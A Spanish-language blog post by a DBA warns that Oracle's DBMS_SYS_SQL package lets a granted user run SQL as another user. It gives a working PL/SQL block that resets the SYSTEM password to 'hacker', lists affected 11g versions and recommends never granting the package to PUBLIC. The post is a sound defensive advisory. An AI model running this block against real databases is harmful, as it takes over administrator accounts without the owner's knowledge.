Nunca se me había ocurrido presentar algo en español en este sitio, creo que lo haré con más frecuencia ya que tengo la ventaja de hablar dos idiomas. Les dejo este artículo que deje en mi perfil de Linkedin y espero lo compartan.

Hace unas semanas atras me tropezé con un video de un programador, Connor McDonald, donde explica la vulnerabilidad existente solucionable con este paquete. Parece ser que es de vieja data este "problema" pero que esta bajo control aparentemente, este paquete es solo controlado por APEX Oracle y hace parte de su funcionamiento interno, dbms_sys_sql el paquete que hace que un usuario cualquier tenga privilegios de DBA. Este paquete es usado para ejecutar SQL scripts con cualquier usuario que tenga el privilegio. No existe mucha información acerca de este paquete, no es muy documentado pero debe estar atentos.

Les dejo acá un ejemplo de lo que NO deberia hacerse, esta base de datos es Oracle 12c y algún programador bien informado me quería meter un gol. Por supuesto esto ya fué corregido e informado de inmediato para que me dierán muchas explicaciones al respecto.

dbms_sys_sql.JPG

Esta vulnerabilidad puede explotarse através del protocol Oracle Net, para que el atacante pueda tener éxito el privilegio para DBMS_SYS_SQL debe estar concedido, es acá donde les digo que por favor revisen el código de los programadores antes de ejecutarlos en un ambiente de producción.

Les explico con más detalle como funciona:

declare uid number;

sqltext varchar2(100) := 'alter user system identified by hacker';

myint integer; 

begin select user_id into uid from all_users where username like 'SYSTEM'; 

myint:=sys.dbms_sys_sql.open_cursor();

sys.dbms_sys_sql.parse_as_user(myint,sqltext,dbms_sql.native,UID); 

sys.dbms_sys_sql.close_cursor(myint);

end ;

Como puede observar en el PL/SQL anterior un usuario normal pero privilegio y mucha información acerca del paquete puede cambiar el password de SYSTEM de nuestra base de datos sin que lo notemos.

Recomendación No 1, jamás concendan el permiso a DBMS_SYS_SQL al público o public en Inglés. Solo el DBA o SYS deben manejar este privilegio y si usan APEX es de manejo interno de Oracle.

Si su empresa maneja alguna de estas versiones de base de datos, puede que este más expuesto a esta vulnerabilidad.

Vulnerable Systems:

* Oracle11g Standard Edition 11.1 .7

* Oracle11g Standard Edition 11.2.0.1.0

* Oracle11g Standard Edition 11.2.0.1 R2

Cualquier información extra que deseen agregar solo hagámenlo saber en la caja de comentarios, promete responder todos los comentarios.

Jairo Suarez Carrillo

El Pato DBA